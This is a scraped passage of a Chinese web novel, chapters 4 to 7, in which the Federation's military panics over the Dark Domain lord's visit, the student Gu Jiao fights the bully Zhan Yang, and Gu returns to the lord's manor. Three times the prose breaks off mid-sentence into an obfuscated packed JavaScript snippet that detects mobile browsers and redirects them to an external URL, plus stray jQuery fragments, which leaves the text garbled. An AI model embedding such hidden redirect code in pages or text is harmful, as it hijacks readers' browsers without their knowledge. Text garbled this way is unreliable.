一架来自暗域的私人飞行器飞速穿过落日谷,穿过星辉区,流星般从联邦最繁荣的地段掠过,最后稳稳停在了联邦第一学院门口。 这消息无异于一颗重磅炸弹,炸翻了整个联邦高层。 4. 第 4 章 联邦武装部立刻召开紧急会议,十几名高层领导齐聚一堂,会议分析机器人严阵以待,面对监控画面一帧一帧仔细分析。 “机型为潜行者Ⅲ号,双人座位,尾翼装配高能推进器,机身呈暗红色,带有暗域标志。” “综上分析,该飞行器所有者为暗域领主——沈月卿。” 数十人的会议室内鸦雀无声,没人知道与联邦政府向来不和的污染区首领为何忽然现身星辉区,刚接到消息时,他们甚至都不敢相信,反复确认了好几次,他是真的来了,并且没带任何护卫,开着自己的私人飞行器,就这么堂而皇之地进入了星辉区腹地。 擒贼先擒王,按理说这是个绝佳机会,暗域领主深入敌军内部,孤立无援,他们如果能趁此机会擒住他,对暗域来说无疑是个巨大的打击。 然而武装部吵了许久,最终还是没敢下达攻击指令。 原因很简单,他们已经在沈月卿身上吃过一次亏了,几年前趁着沈月卿精神力暴乱之际,他们发动闪电战袭击,派出最精锐的舰队围剿,最后的结果却成了谁也不愿再提及的耻辱。 舰队全军覆没,无人生还。 这位年轻的新任领主一战成名,恐怖的SSS级精神力从此成为联邦最忌惮的存在,有他在,暗域在获胜的天平上就多了一块不可撼动的砝码。 好在沈月卿并非真正的坚不可摧,他比历任领主都强,意味着他承受的精神力暴乱比历任领主都要严重,沈月卿今年24岁,最多再过五年,他将会在无法遏制的精神力暴乱中死去。 可就算要死,那也是在五年后。 现在这个疯子忽然出现在星辉区,要是武装部处理不好,星辉区数十万民众和高层们的命绝对不会比他的命更长。 会议长听着下面越来越大声的争执,一言不发,接过秘书递过来的手帕擦了擦汗,许久才说出了最终决定。 “疏散民众,暗中盯住他的一举一动,非不要不得出手。另外,向联邦申请调两支特遣舰队……不,三支!” 这架昂贵的飞行器牵动着武装部每个人的神经,无声的硝烟在暗中弥漫,身处硝烟中心的顾骄却浑然不觉。 此刻他只有一个想法。 “好……好快。” 这就是有钱人家的交通工具吗?他原本要走大半天的路程,竟然只用十分钟就到了! 看着窗外快速扫过的景色,他忍不住发出惊叹。几个眨眼的功夫,飞行器就稳稳停在了他熟悉的校门口,此时距离上课还剩两分钟。 顾骄落地时还感觉浑身飘忽忽的,沈月卿笑看他一眼,把他带到大门:“去吧,时间正好。” 门卫机器人发出滴滴的催促声,来往的人们都注意到了这过分出众的两人,所幸这里没人知道暗域领主的真实容貌,不然必定会引发大型骚乱。 顾骄快步跨进大门,回头对沈月卿挥挥手:“谢谢沈先生,我们下次见!我一定不会再迟到了!” 沈月卿微笑颔首。 嗯……好孩子。 转身回到飞行器之前,唇角还残留着一丝微笑,他毫无预兆地侧身看向右后方,暗处瞄准他的微型粒子武器炮口齐齐一颤。 被发现了吗? 好在沈月卿并没有过来的意思,收回目光,不紧不慢踏上飞行器,朝着来时的方向离开了。 离开了……就这么离开了? 所有人都不敢相信,一场让他们提心吊胆的危机,就这么出乎意料地结束了? 不久后星辉区南大门传来潜行者Ⅲ号出城的影像,他们才敢确定是真的没事了。 “这个疯子!”松口气的同时,有人忍不住骂出了声,这场闹剧让他们有种被戏耍的感觉。 “和他一起出现的那个少年是谁?”会议长皱眉,“去查,九点之前,我要得到关于他的所有资料。” * “名字。” “顾骄。” “学号。” “423-1577” “迟到一次,扣一分;不穿校服,扣一分;作业未完成,扣两分。” 顾骄无言以对。 两分钟的时间不够他从学院大门赶到实训室,他用出最快的速度,最后一秒还是被风纪委员堵在了门口。联邦学院是出了名的校规森严,迟到就是迟到,多一秒都不行。 一次性扣这么多分,顾骄都要心痛死了,更可怕的是周围还有来来往往的过路人对他行注目礼,交头接耳小声嘀咕。 “看,是顾骄,他又迟到了。” “就是那个古武星来的阔少?” “嘘!小点儿声,听说他脾气不好,别被听见了。” “长得这么好看,是我的菜。” “你疯了?这人咱可惹不起。他连展扬都敢打,手段狠着呢,平时谁也看不上,这么久了还没人能跟他说上几句话,没看他对风纪协会的人都不耐烦么,咱们还是快走吧。” 顾骄听不清楚他们在说什么,可明里暗里的目光落在他身上,让他感到说不出的紧张,于是垂眸默默把帽子拉紧了些。 他琢磨着要不要为自己求个情,据说某些风纪委员会心软,但顾骄几度欲言又止,求情的话堵在嘴边就是出不来。 啊啊……好难为情,说不出口。 见他无言沉默,白发压着锋利的眉眼,依稀可见眼尾自上而下投来的冷酷神色。风纪委员心里很不踏实,毕竟她面对的可是特招生里最不好惹的顾骄,对方身上还扎着绷带,看起来刚打完一场狠架。 记录完扣分项,她飞快收起小本本,不敢多待:“记录完毕,希望你认、认清错误,不要再犯。我先走了!” 她跑得很快,顾骄还没来得及回答,人已经没了影。 顾骄一愣:他好像又被讨厌了…… 联邦学院每天只有两节课,上午一节,下午一节。 周一上午是实训课,用导师的话来说,刚过完周末的学生们需要松松筋骨。 课上一共十九人,两人为一组对练,剩下的一个人和导师一组。往常这个被剩下的幸运儿都是顾骄,因为没人敢跟他打,今天却有点不同。 “老师,我和顾骄一组!” 吊儿郎当的声音懒懒响起,留着寸头、脸上贴着创可贴的少年从角落站出来,左右扭了扭脖子,斜眼看顾骄的表情是明晃晃的挑衅。 是展扬。 有明白内情的同学已经远远躲开准备看好戏了。 一看到这人顾骄就开始头疼。 展扬是421届的,比顾骄大两级,家里长辈是星辉区武装部某高层,在学院里出了名的跋扈,许多原本行事高调的学生都被他教训过,还有人为了不被欺负自愿成为他的狗腿,更助长了他的嚣张气焰。 顾骄刚入学不久就被传出了孤高傲慢的名声,再加上入学测试时异常优秀的S级精神力,他很快成为展扬的针对目标。 那时顾骄初来乍到,根本没想到有人会在背后下黑手,所以在回家路上差点被人敲闷棍时,他出于自卫下意识还了手,而且没收住力气。 ……打断了展扬两颗门牙和三根肋骨。 他当时吓了一跳,第一时间把人送去医院并真诚道歉,但对方好像完全不肯接受他的道歉,还让他等着,以后一定让他好看。 顾骄惴惴不安地等了好几天,结果什么也没等到。 时隔半月再次见到展扬,顾骄还是有些愧疚,虽然那次打架是对方先出的手,但最后的结果是自己毫发无损,对方受伤惨重,而且他当时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299590|140228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还用了母星的招式。 主星和古武星不一样,主星人战斗拼的是精神力,对体术要求不高。但在古武星,精神力并不是一项必须觉醒的能力,人们对肉/体招式的追求趋于极致,讲究的是一力降十会,在精神力以外的领域远超其他星系。 顾骄不喜欢用自己的长处攻击别人的短处,那样胜之不武,所以他一直避免在主星动用武力。实训课都是点到为止主动认输,展扬是唯一一个被他打伤的人,他有时想起来心里挺过意不去的。 展扬在医院里躺了半个月,刚出院就来找顾骄麻烦,这些天来他连做梦都是把顾骄那张可恶的脸踩在脚下。他长这么大还从来没有受过这种屈辱,不报复回来他就不是展扬! 导师不清楚两人之间的恩怨,见今天有人主动跟顾骄一组他还挺高兴,不然每次跟顾骄单练就像打表演赛似的,顾骄打得假模假式,到点儿就准时卖破绽认输,比人机都有规律。 他立刻同意了展扬的申请。 “还有件事。”展扬走出来,露出手腕和大腿上缠的的减震绷带,显然早就做好了准备。 他对着顾骄一笑,露出一口森森白牙,“上次我和顾骄约好了进行决斗,今天正好让老师来做个裁判,看看我们两个到底谁更强,如何?” 顾骄:? 什么时候约好了,他不知道啊? 导师自然没有不同意的,别看展扬行事作风不怎么样,其实精神力在A级且还有上升空间,是个难得一见的好苗子。这两人之间的决斗比单纯的对战练习更能让学生们学到东西。 展扬至今也没弄明白那天自己到底是被什么招数阴了,在视野黑下去之前,他连顾骄的动作都没看清,所以他坚定认为顾骄一定是使用了某种见不得人的手段,这才打了自己一个措手不及。因为他能清晰感受到,那时顾骄根本就没有放出精神力! 现在众目睽睽之下,顾骄不能再出阴招,而展扬对自己的精神力强度非常自信,他六岁觉醒精神力,接受最高等级的训练,炉火纯青的技巧足以弥补微乎其微的精神力差距,更何况顾骄这种才觉醒不久的菜鸟。 等级再高有什么用?照样被他踩在脚下! 顾骄算是知道了什么叫赶鸭子上架。 看着对面展扬胜券在握的神情,他明白今天的决斗是无论如何也躲不开了。 其他人退得远远的,充当看台下的观众。这种时刻本该有加油声,但给一个人加油就势必得罪另一个,所以大家默契地保持沉默。 被十几双眼睛盯着,顾骄的心跳开始加快,他实在无法忽视这些目光,出神时耳边捕捉到细微的风声,本能侧身避过了突如其来的一记横踢。 展扬的不爽都写在脸上:“喂!你往哪儿看呢?老子在这里!” 顾骄回神,勉强集中注意力。展扬忽然得逞一笑,强大的精神力猛然释放,瞬间压缩了顾骄周围的空间。 这就是他的战术,当对手注意力集中在自己身上时骤然释放精神力进行压迫,打乱对方节奏,将进攻主动权牢牢掌握在自己手中。 接下来就是疾风骤雨般的攻击,对手疲于防守,根本不会有放出精神力的机会,因为只要他稍有松懈,自己的精神力瞬间就能化为最致命的武器,结束战斗。 他用这招打败过不少精神力高于自己的人,其中也不是没有S级,所以一直很有信心。 可他今天遇到的是顾骄。 他并不知道,入学测试上顾骄谎报了精神力等级,他不是S,而是SSS。自己引以为傲的精神力压迫,顾骄根本就感觉不到。 顾骄现在觉得很困惑,因为对方竟然没有发动精神力,而是打算和自己进行肉搏,并且看上去胸有成竹。 他一定有很厉害的底牌。 5. 第 5 章 顾骄并没有打算赢,因为对方不接受自己的道歉,还一直对那天的事耿耿于怀,如果他一定要打败自己一次才能甘心的话,顾骄不介意认输。 他认输一直很有经验的。 还有,昨天一晚上没睡觉,他现在真的很困。 两人有来有回地打了好一会儿,顾骄认真防备着展扬有可能用出的底牌,忽然展扬一拳袭向他的面门,顾骄精神一震,下意识出掌控住他的拳头。 先以一招柔克刚化解对手冲力;随后借力打力攻击对手下盘;最后接上一记结束战斗的暴力过肩摔…… ——等等! 过肩摔进行到一半,顾骄猛然反应过来。 一套动作行云流水,展扬别说反抗,连看都看不清,一拳打出去后只觉得一阵天旋地转,紧接着身体急速下坠的感觉让他头脑发懵,虽然不知道发生了什么,但他感觉自己似乎马上就要交代在这里了。 心都凉了一半,失重感却忽然消失,他被稳稳地放到地面上,一直动弹不得的拳头莫名其妙打了出去。顾骄受击连连后退,直到出界,捂住胸口一脸虚弱: “我认输了,我是你的手下败将。” “你说什么?” 展扬看看自己的手,再看看演技拙劣的顾骄,诧异片刻,逐渐明白了什么,拳头一点点再次硬了起来。 “顾骄,你什么意思!看不起谁呢?” 顾骄不明白,自己都已经认输了,展扬怎么还是不高兴。他实在不想再打,现在困得眼皮都睁不开了,手掌的烫伤还一阵阵发疼。打完一次决斗相当于提前完成了对战训练,顾骄觉得和展扬的恩怨现在两清,现在该找个地方补一觉。 殊不知,他发丝凌乱,睡眼惺忪的样子落在别人眼里,那就是赤/裸裸的蔑视,简直满脸都写着:“和我比,你也配?” 并且由于演技欠佳,主动认输的行为非但没让展扬感到爽,反而觉得再次被狠狠羞辱了一通。 他不依不饶,顾骄却不乐意再奉陪,像条滑不溜手的泥鳅,得到导师的允许之后窜出实训室消失得飞快。 展扬不甘心地追出去,可只是晚了一步而已,他冲出教室时愕然发现走廊上已经完全没了顾骄的踪影。 他恨得拳头发颤:“顾骄……你给我等着!” 去天台找个阴凉地儿一觉睡到中午,午饭时间,顾骄准时睡醒。 兜里还有十二星币,是原本打算用作返程的路费,省下来正好可以买两个面包饱餐一顿。 说到路费……他忽然想起来还没去工会大厅提交任务,虽然之前已经和沈先生约好下周再去庄园,但说真的,这次的任务他真算是完成得一塌糊涂。 他有点担心会在雇主评价那栏看到惨烈的一星,鉴于他确实没做好任务,就算雇主因此要扣佣金,他也……能接受的。 他双手插兜,垂头丧气下楼,无意中瞥见楼道里的宣传海报,脚步慢慢停下。 “百校联赛……主星范围内421-423届学生可报名参加……根据名次加学分10-100不等……” 加学分! 如果说顾骄除了挣钱还对什么东西有执念,那就是加学分。联邦学院实行学分制,不论入学时间长短,每个学生必须修满600学分才能毕业。 主星很大,好多高科技他在母星就连听都没听说过,这里有数不清的好东西,但顾骄并不开心,他在这里很孤单,特别想回家吃橘子。 要是能加上一百分,他离回家就近了一大步! 他毫不犹豫地报了名。 * “百校联赛……”武装部大楼顶层,指挥官宋奇看着面前关于顾骄的资料陷入深思。 按照现有的资料来看,顾骄与暗域并没有直接关系,今天与沈月卿一同出现似乎只是个巧合。 顾骄来自古武星,因为偶然检测到非同寻常的精神力强度而以特招生身份进入联邦学院,在此之前他与主星从未有过交集,但不能排除在校期间被暗域策反的可能。 可如果真是这样,沈月卿又为何故意让他们发现? 宋奇摘下眼镜,一阵头疼。 不管怎么样,他们现在对沈月卿和顾骄的关系一无所知,保险起见,他们并不准备打草惊蛇,而是派人暗中监视顾骄的一举一动,寻找更多蛛丝马迹。若非必要,他们不会轻易对顾骄采取行动。 毕竟,为了保障顾骄的安全,古武星可是拿出了一整条稀有金属矿脉作为交换。 没过多久,情报部长进来汇报消息。 “目前并未发现暗域前任首领行踪,不过据我们的人发现暗域六区最近有异常人员流动,或有可能是简宜年在召集残部。” 宋奇轻嘲:“能在沈月卿手底下苟延残喘六年,他倒还不算孬。” “继续打探消息,尽快找到他。这位前首领可比我们更清楚该怎么对付沈月卿。” 部长点头:“明白。” “对了,展昭。”宋奇忽然想起一件事,“我记得你孙子似乎和顾骄有些过节?” 展昭一愣:“是,我也有所耳闻。” “顾骄现在是联邦的重点关注对象,不论他们之前有多大的恩怨,现在都应该到此为止。”宋奇严肃地说,“该怎么教育小辈,不用我教你吧?” 展昭低头擦汗,“这件事我一定慎重处理。” * 五颗星! 顾骄眨眨眼,不可思议地又看了一遍任务面板。 不是错觉,真的有五颗星! 他再三向工作人员确认:“这个……我的?真的是我的?” 工作人员劈里啪啦调出资料:“任务编号19877,任务地点清泉庄园,任务内容为精神力疏导,委托人温先生,任务接取人顾骄,是您没错。” “另外,委托人对您的任务完成情况非常满意,追加了百分之五十的佣金,稍后一并打到您的账户上。” 还有奖金! 顾骄被这突如其来的惊喜砸中,表情克制着没多大变化,心里早已乐开了花。他矜持地抿起微笑:“不用走账户,直接给我现金吧。”因为他没有星网账户。 这个任务原本的佣金是五百,加上百分之五十的奖金,足足有七百五十星币之多。巨款到手,路上买的两个面包忽然就不香了,顾骄三两口快速吃完,路过公用电话亭,想起雇主曾告诉过自己的通讯号码,眼睛一亮走了进去。 走进去他就犹豫住了,原本约好了周末再去拜访,他现在给沈先生打电话会不会打扰到对方?也许沈先生并不是那么乐意浪费时间与自己通话。 顾骄搓着指尖,在这个逼仄的小亭子里踌躇了好久,脑子里一会儿是许多人与他视线相遇时异样的躲闪,一会儿是沈月卿毫无芥蒂的微笑,各种想法闷得他额头上冒起了虚汗。最后他唰地一声扯下帽子,一头凌乱的卷发支棱着,像只炸毛的白毛小狗。 决定了!不管怎么样,沈先生帮了他,他应该感谢人家。 白毛小狗一脸英勇就义的表情,伸出一根手指,一个键一个键地拨出了在心里默念许久的号码。 “嘀嘀嘀嘀嘀——通话已拨出,请稍后。” “嘟——” “嘟——” “……” 在第九声“嘟”响起,对面仍没有接通时,顾骄表情一松,说不清心里是庆幸还是失望。 还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299591|140228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是默默在心里为对方找理由。 也许在忙呢?也许没听见,总、总不能是因为讨厌自己吧……应该不会吧? “被人讨厌”这种事情,虽然顾骄自以为身经百战早已有了免疫力,但一想到这次的对象是沈月卿,不知为何心里就闷闷地难受。 他正胡思乱想着,没注意到通话已经被对面接起,直到一个毫无感情的声音在耳边响起:“说话。” 顾骄一惊,接着怀疑自己是否打错了电话,因为对面的声音和自己记忆力温和的沈先生差距太大了。 “请问,是沈先生吗?” 寂静两秒,那边轻笑一声:“是你啊。” 声音自然而然柔了下来,像在哄人:“发生什么事了吗?” 找回熟悉的感觉,顾骄顿时感觉自在了许多,不好意思地把电话线绕出几个结,小声地说:“我刚才去工会大厅提交任务……沈先生,谢谢你给我好评,还有奖金……我本来没资格得到这些的。” “没人比你更有资格了。” 隔着电话,顾骄仿佛能看到沈先生沐浴在暖阳下的微笑,他的语气一如既往地让人安心。 “不用觉得不安。我想给你,那些东西就都该是你的。” “哦……好、好的。” 顾骄摸着口袋里的星币,被对方两句话说得心里踏实了许多,又听沈月卿问:“你喜欢吃些什么菜?” “嗯?”顾骄不解。 “下次你来庄园,我提前准备。” 顾骄想起自己今天早上的窘态。整个人的温度忽然就升高了,电话亭的玻璃反射出他红桃似的脸。 “不用了!我不挑食,什么都能吃……真的!” 沈月卿顿了顿,“金丝虾球。” 顾骄忽然定住:“可以吗?” 沈月卿:“椰奶冻,芋泥千层,虎皮蛋卷……” 顾骄喉结滚动,刚吃饱的肚子好像又叫了起来,沈月卿说的都是他最喜欢的食物,但因为实在太穷,他都快忘记它们的滋味了,现在回想起来馋得不行。 “都、都给我吃吗?” 沈月卿:“来我这,都是你的。” 顾骄闻言兴奋起来,不知不觉中早已放下了不久前的腼腆和踌躇,开始期待周末,期待和沈月卿的下一次见面。 “沈先生,您真是个好人!” 说完这句话,对面忽然传来模糊的闷哼,顾骄一愣,听得不是太清楚:“沈先生,您身体不舒服吗?” 难道是精神力暴乱又发作了?顾骄忍不住担忧。 好在沈月卿很快回应,声音还是那样从容,听不出哪里不妥:“没事,不是我。” “家里的佣人生病了,嗓子不太舒服。” “哦……”顾骄说,“那沈先生要照顾好自己,别被传染,您的精神力还很虚弱。” “放心。” 阴暗的审讯室内,沈月卿垂眸看着被自己捏碎了喉骨的卧底,在对方痛苦惊惧的目光中,对通话那头的人露出一个温柔的微笑。“不会感染的。” 通话结束,他随手将通讯器扔到一边。副官连忙上前接住,提醒道:“首领,这人还什么消息都没吐出来,您……” “撬不开的嘴,留着也无用。”沈月卿慢条斯理清洗着手上的血迹,流过他掌心的清水染成鲜红,顺着指尖滚落,如同一串串成色上佳的绯色玛瑙。他漫不经心道:“没了这个,再抓一个就行。” 语气随意得像是扔了个垃圾。 “是。” “对了。”沈月卿忽然想起来,“顺便再抓个厨子过来,厨艺要好,会做联邦菜。” 副官张了张嘴:“……是。” 6. 第 6 章 顾骄住在郊区,距离学院有两个小时车程。所以真不怪他白天老犯困,他每天早上都得强行吊着一口气从床上爬起来,不然赶不上最早那班大巴。 无数个被迫起床的早上他都梦想着能换个方便的住处,可看看自己空空如也的口袋,除了硬着头皮住下去,没有别的办法,毕竟他再也找不到比这里更划算的地方了。 他小心避开门口摆放的盆栽,掏出钥匙开门。很难想象,在科技高度繁荣的主星,还有人用着一把钥匙一把锁的原始开门方式,不乐观地说,这种方式防君子不防小人,要不要进去全看个人素质。 顾骄觉得主星人的素质很不错,他在这里住了一个多月,不仅什么东西都没丢,反而有天早上起来发现厨房米缸里多了两枚星币。 “骄骄,你回来啦。” 听见开锁的声音,住在隔壁的姑娘敲着拐杖摸索着走过来,手里托着一只湿漉漉的乌龟。她的眼睛又圆又大,却蒙上了一层灰白的翳,显然是个盲人。 “呐,你的金刚,还给你。” 盲女名叫素雪,性格和善,虽然眼睛看不见,但人却很热心,经常在顾骄外出做任务的时候帮他照料家里,是顾骄唯一说得上话的朋友。 因为她看不见,顾骄不必时时刻刻戴着帽子掩盖自己奇怪的发色,也不用在内心慌乱时强装出镇定的表情,素雪善良又不失敏锐,和她相处很轻松。 “谢谢你,素雪姐姐。”顾骄接过乌龟,眉眼弯弯。 “这次任务还顺利吗?” “不太顺利……”顾骄害羞地说,“遇到好多意外,不过沈先生是很好的人,不仅没有怪我,还多发了一半奖金,所以我这周末要再去一次,一定要帮上他的忙。” 这是顾骄头一回在对话中提及别人的名字,素雪很好奇:“沈先生,是你这次任务的雇主吗?” “嗯!沈先生的庄园很大,对我特别温柔,就是口味有点怪……他住在落日谷附近,我当时找了好久,差点转晕在里面,还好最后误打误撞碰到了沈先生,不然我今天肯定来不及去上课了……”顾骄一边进门一边絮絮叨叨,他很少跟人说这么多话,聊起沈月卿却有些停不下来。 一回头,见素雪立在门口,表情有些凝重。 “怎么了,素雪姐姐,进来坐啊?” “你说他住在落日谷?”素雪拉住顾骄的胳膊,严肃地说,“那里紧挨着污染区,你知不知道有多危险?” 顾骄:“姐姐不用担心,我有能力保护自己,你看,我这不是毫发无损地回来了嘛。”他心虚地隐瞒了自己脖子上的伤,只要他不说,素雪就不会知道。 素雪摇摇头:“我知道你有本事,不然也不会去做佣兵,但是现在情况不一样。” 她压低声音:“暗域领主失踪数日引发动乱,据说有人放出了异生物,谁知道它们会不会越界过来这边,你最近离边界线越远越好,千万不要以身涉险。” 最后还叹了一声:“暗域那群疯子,什么事情都做得出来。” 暗域领主,顾骄听说过这个人,前任领主的继子,世所罕见的SSS级精神力强者,十八岁时强势发动政变,只用三天时间就登上了领主之位,致使当时有暗域最强者称号的前任首领重伤濒死,至今不知所踪。 关于暗域领主的传言数不胜数,除了无解的强大实力,最为引人侧目的是他上位以来的种种病态举措,例如豢养异生物作为宠物、活剥人皮制成鼓面,将上千人扔进斗兽场自相残杀,观战取乐…… 传言的真实性无从分辨,但有一点可以肯定,暗域领主远比顾骄见过的任何人都要可怕。 可顾骄自认为和那种级别的强者完全不是一个世界的人,自己就像小说里的路人NPC,任务就是挣钱、完成学业早点回家,与暗域领主相遇的概率……约等于他走在路上白捡一百万星币。 ……哦不,一千万。 他下意识忽略了自己与对方精神力水平相同的事实。 他已经答应了沈先生周末再见,无论如何也不能毁约。再说,既然现在落日谷那么危险,他更不能放任沈先生独自一人面对,这样好的雇主,打着强光手电都找不到第二位。 素雪走后,顾骄开始担心起沈月卿的安危,想再打个电话去确认一遍,可是他家附近没有公用电话,只能作罢。 半夜躺在床上辗转反侧,他下定决心开始存钱,光脑太贵,但他可以买个最基础的通讯器,以后联系沈先生就能方便些了。 心里盘算着开销,他慢慢睡着了。 * 时间转眼来到周末,顾骄起了个大早,如约前往落日谷,暗暗心想这次肯定不会迟到。 然而事实告诉他,太天真了。路痴不会因为走过一次就记得路,只会在同一段路上迷失无数次。 原本还能靠着对精神墙的感知找到庄园,可现在精神墙消失了,顾骄只能靠自己重新摸索。 加上外围丛林,落日谷的面积几乎相当于整个星辉区,到处都是别无二致的灌丛树木,抬头只能看到枝叶横斜的破碎天空,让人怀疑自己一直在原地踏步。 彻底丧失方向感的时候,闭上眼睛或许会好些。 忘记了在哪儿听来的话,顾骄决定尝试一下。闭上眼,精神力以自身为中心缓缓向外扩散,牵引着他往有生命活动磁场的方向走去。 许久之后,他听到不远处传来微不可闻的呼吸声。 …… 厨师竭力抑制着自己发颤的手臂,装点好了奶油千层上的最后一块裱花。 甜点端上餐桌,餐厅洋溢着棉花糖般松软香甜的气息,厨师哆哆嗦嗦看向主位上坐着支着头看书的男人,艰难地咽了咽口水:“我……我可以走了吗?” 沈月卿抬眸,看看满桌美味珍馐,又看看时间,已经到了正午。 复又拿起书,轻声说:“不急。” 无视厨师绝望的眼神,副官立刻上前将人带了下去。 过了一会儿,属下进来报告消息:“有人闯入了猎场。” 副官:“身份?” “他一直戴着帽子,距离太远无法辨认。” 副官想起来什么,看向沈月卿:“首领,猎场那东西……” 沈月卿放下书,辨不清神色。下属顿时一凛:“属下即刻前去抹杀闯入者。” “站住。” 沈月卿静默几秒后起身,“我亲自去。” 见状副官开口想说什么,被一个淡淡的眼神给堵了回去,只好闭嘴跟上,紧皱的眉头却透露出他的不放心。 “猎场”位于落日谷最南面,与其他区域不同,这里的植被异常低矮且茂密,空间压缩,光线昏暗,是蛇虫鼠蚁扎堆的好地方。 半个月前,有人趁沈月卿精神力暴乱发作之际,暗中在落日谷投放了三只“倒吊者”。 倒吊者是受辐射感染后异化的蝙蝠,体型膨大数十倍,战力异常强悍,发出的声波还能刺激精神力、加重暴乱症状,处理起来相当棘手。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299592|140228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 当时首领的情况不容他们在附近大规模搜查捕杀,副官符辛顶着巨大压力处理掉其中两只,最后一只趁乱遁入南面的乱丛,短时间内无法寻到踪迹,于是他将这整片区域用屏障圈禁起来,将倒吊者困在里面,精神力等级低于他的人也无法踏入。 根据一周前符辛在监视器前对顾骄的观察,此人空有超高等级的精神力却不懂如何使用;且他心思单纯,对陌生环境该有的警惕心和防备心完全没有,如果真遇到倒吊者,极有可能沦为它的绝佳口粮。 尽管对其一眼就能望到底的浅薄心性很不看好,但顾骄是至今为止唯一可能治愈首领精神力暴乱的人,符辛并不希望他出现任何意外——在发挥完他所有价值之前。 符辛本以为首领的想法和自己一样,留着顾骄只是为了治疗,但抬头看看首领走在他前面的身影,他开始不确定了。 如果说沈月卿专门为顾骄准备联邦菜还可以解释为投其所好的拉拢手段,那么现在冒着被倒吊者精神攻击的风险来猎场找人,就已经远远超出了符辛的理解范畴。 毕竟他自认就算今天是他自己死在里面,首领也不会多看一眼。首领对顾骄的态度很不寻常,让符辛忍不住有些忧心。 正午的日光被树影分割成破碎光点,落在沈月卿脸上,纤长睫羽半垂,投下漂亮的剪影。他走进猎场,气质与周围阴翳的环境格格不入,仿佛生来就该在阳光照耀下无忧郁地微笑。 起风了,风中飘来几缕游丝般的血腥气。 符辛眼神一凝,那人不会真的…… 沈月卿看向风吹来的方向,神色始终没变过,“去找。” 几人飞速散开寻找顾骄的踪迹。沈月卿停在原地,很久以后,他闭上眼睛,几根半透明的血红触手在空气中缓慢显形。 忽然,周围传来似曾相识的气息。 “沈先生!” 触手倏尔消失。 沈月卿睁开眼,看见顾骄正越过层层障碍,气喘吁吁地向自己奔来。 他跑得很急,像是在躲避某种追赶,白皙的脸颊上沾着血污,总是拉得很低的帽檐终于散开,缀着破碎的蛛丝,松松垮垮地勉强挂在头上,完整露出那双向来压在碎发下的眼睛。 那双眼睛其实很漂亮,并不像大多数人以为的那样不近人情,尤其是像现在这样满含惊喜地睁大眼时,被他注视着的人心里会有种奇异的触动。 顾骄一口气跑到沈月卿面前,抓救命稻草般一把拉住他的衣摆,大口喘着气:“太好了……终、终于找到您了!” “快走,附近有……有异生物,我差点被它吃掉!好不容易才甩掉它,快、我们快跑!” 想起那只巨大的蝙蝠,六对在黑暗中注视着自己的腹眼,顾骄起了一身鸡皮疙瘩。他头也不回地拉着沈月卿往反方向跑,吭哧吭哧跑了不知道多久,忽然觉得这一幕有些熟悉。 上一次来,好像也是这个走向。 唉……所以为什么他总是在拉着沈先生逃命呢? * 另一边,符辛看着自己找到的倒吊者陷入沉默。 ——或者说残躯更合适。 可以确定的是受害者死前遭遇了巨大的物理打击,胸口上一个深坑,六对腹眼暴突,左半边翼骨近乎脱落,整个身体深深砸进地面,脊骨全碎。 这得是多大的力气? 符辛啧啧称奇,仔细观察伤口损坏情况,最后犹豫地得出其死因。 好像是……过肩摔? 7. 第 7 章 庄园对顾骄来说就像个安全区,快步跑进门,四周馥郁的花香让稀薄的安全感重新充盈起来。他停下脚步喘气,回头一看,后面很安全,总算放下心来。 “还好吗?”沈月卿递过来一方洁白的手帕。 “我、我没事。”顾骄接过,不好意思地擦脸,刚才自己真是太狼狈了。 但话说回来,他一共来过落日谷两次,两次都碰上异生物袭击,足以证明外界传言不假,这里的确是个危险地带。 “沈先生,您会在这里常住吗?” 沈月卿看着他:“担心我?” 顾骄捏紧手帕,点点头。 沈月卿笑了:“不用担心,我会让人把附近清理干净,以后你不会再遇到这些东西。” 顾骄冷静点头,实则心里已经掀起好大一阵波澜。贫穷限制了自己的想象,沈先生这样富有的人,根本不需要适应环境,因为他可以直接改变环境。 如果以后自己也能这么有钱就好了…… 第二次来到餐厅,顾骄享受到了和第一次完全不同的待遇,满桌的美食几乎让他怀疑自己没睡醒,而且,全部都是他爱吃的东西! 今天是来到主星之后最幸福的一天! 丝滑冰凉的熔岩巧克力在口中划开,其美味程度足以秒杀顾骄吃过的任何甜品,好吃到他想要掉眼泪。 顾不上说话,他埋头努力干饭,沈月卿坐在餐桌对面,嘴角挂着笑,安静地看他吃饭。 吃着吃着,顾骄发现了问题,他从甜品的包围圈中艰难抽身,看向一直没有动作的沈月卿:“沈先生,您不吃吗?” 沈月卿单手支着头,柔顺的长发从右肩倾泻而下,美得雌雄莫辨。 “这些都是为你准备的。” 